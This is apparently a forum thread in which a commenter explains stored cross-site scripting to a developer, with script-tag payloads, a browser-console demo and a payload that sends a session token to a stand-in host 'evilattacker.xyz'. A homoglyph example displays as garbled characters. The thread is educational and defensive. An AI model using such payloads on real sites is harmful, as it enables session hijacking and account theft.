Is this more about libraries that expose the client to attacks from code on other sites?
Perhaps I'm complacent about this but I often think of this as the responsibility of the browser...
So what I'd love to understand better is the kind of attacks that would be practical, and how they would exploit a 3rd party library.
By the way I am totally receptive to the possibility that there may be grave vulnerabilities. I just don't have the kind of mind that easily thinks of them.
Edited: for clarity
var comment = "<script>alert(1)</script>";
$("div.comments").append(comment);
If I'm following your other example with malicious input into a form; the snippet would have to pass server-side validation (likely, since it's probably checking for SQL injects). Then past that, when it gets rendered for other users, the view/templating would need to display the snippet as a script instead of just text, right?
> This example will only affect that particular user viewing the page, though. And once they hit refresh, that'll be gone.
No, that wouldn't be an effective XSS. You highlighted an effective XSS in your follow-on statements.. basically, it needs to be saved on the server and then displayed to another user. At that point, you can attack them and steal whatever you like.
An effective XSS would be a form that doesn't validate input looking for XSS attacks specifically (on the server side, or on the client side before re-display, such as via my safify.js library). For example, if HN let me paste that in and didn't translate < to < before display, my <script>alert(1);</script> would be actually executed as soon as it was displayed on screen (more correctly, attached to the DOM). This is a really important point ... it's the core of understanding what XSS really is.
> Then past that, when it gets rendered for other users, the view/templating would need to display the snippet as a script instead of just text, right?
No, unfortunately -- the view would just have to display it even as plain text. I'm guessing here that you're saying the entire page is displayed as an html template via jinja or something, rather than being pulled in with AJAX. AJAX is almost certainly going to be XSS'able unless you take steps. If you're using an HTML templater, it might sanitize/encode the HTML for you, but only if it knows that it's supposed to do that and that it's not part of your normal HTML. (In other words, most templaters would probably just stick the <script> tag right in the middle of all of the other HTML, and the browser will just try to parse and interpret anything that looks like HTML and ignore all the rest as noise.)
To continue with your thoughts..
1) attacker leaves comment in field
2) comment can be validated on server prior to sql injection, or not. that doesn't matter unless it's looking specifically for XSS vectors.
3) when comment is provided back to the client, it's displayed on screen using regular jquery calls. there's nothing wrong with using those jquery calls (any more than directly manipulating the DOM or using standard javascript); you just have to know what you're doing and sanitize the text. (i.e., this isn't referring to a specific vuln in jquery or javascript at all.)
4) most importantly, the view/templating does NOT need to "display" snippet as script. this is the key point. As soon as it's attached to the DOM, it becomes HTML.
You can try it out right here. Open up devtools (press f12) and paste this into the console tab:
var comment = "<script>alert(1)</script>";
$("body").append(comment);> If you're using an HTML templater, it might sanitize/encode the HTML for you, but only if it knows that it's supposed to do that and that it's not part of your normal HTML.
Yeah this was my larger concern. I'm never blindly appending user-submitted input into the DOM, but doing it through a templater like Handlebars.
As a simple example, paste <script>alert("haha")</script> into an form in your system that will (eventually) be viewable to someone else. Let's say it's something innocuous like the quantity field on an order form or a comment on a comment form.
Now, none of those characters will attack your database through SQL injection, right? So what happens when you (the administrator) views your latest orders? Basically, that javascript is now operating in the security context of you, the administrator, not in the context of the attacker that submitted it. It could do something worse than alert()... for example, it could grab your session token or a cookie's secret value (depending on the cookie) and send it off to <img src=evilattacker.xyz/clear.gif?sid=xxxx>, and now the attacker can become you.
Or, it could do the same thing to another user on your forum when they look at the evil comment.
This sort of attack is easy to do and broadly considered XSS (cross-site scripting). There are related areas of attack, like cookie forgery, referral, etc attacks. The OWASP string replacement guidelines (or my safify.js) can help with this, but ultimately string sanitation has to make sense for the context (i.e., browser bad characters are different from SQL injection bad characters).
And, you have to think about the weakest link... us poor humans, to whom similar 饾柣饾棊饾棈 饾棁饾棃饾棈 饾棅饾棊饾梻饾棈饾柧 饾棈饾梺饾柧 饾棇饾柡饾梿饾柧 饾棊饾棁饾梻饾柤饾棃饾柦饾柧 饾梾饾柧饾棈饾棈饾柧饾棆饾棇 饾柤饾柡饾棁 饾柣饾柧 饾棊饾棇饾柧饾柦 饾棈饾棃 饾棈饾棆饾梻饾柤饾梽 饾棇饾棃饾梿饾柧饾棃饾棁饾柧... 饾梿饾柡饾棐饾柣饾柧 饾棈饾梺饾柧饾棐 饾棈饾梺饾梻饾棁饾梽 饾梻饾棈'饾棇 饾柡 饾柦饾梻饾柨饾柨饾柧饾棆饾柧饾棁饾棈 饾柎饾柋饾柅 饾棈饾梺饾柡饾棁 饾梻饾棈 饾梻饾棇, 饾棃饾棆 饾柡 饾柦饾梻饾柨饾柨饾柧饾棆饾柧饾棁饾棈 饾棊饾棇饾柧饾棆饾棁饾柡饾梿饾柧.. (paste that into vim to see the actual characters in the preceding sentence.)
饾梺饾棈饾棈饾棄饾棇://饾梹饾棃饾棃饾梹饾梾饾柧.饾柤饾棃饾梿/?饾棅=饾棁饾棃饾棈+饾棎饾梺饾柡饾棈+饾棐饾棃饾棊+饾棈饾梺饾梻饾棁饾梽
There's lots and lots of interesting ways to attack websites. It's tough to keep track of them all.
Another example. Your 404 page..
<h1>404</h1>
<p>Sorry, /x/y/z doesn't exist.</p>
https://yoursite.com/this-is-a-long-url-thats-hidden-in-a-an...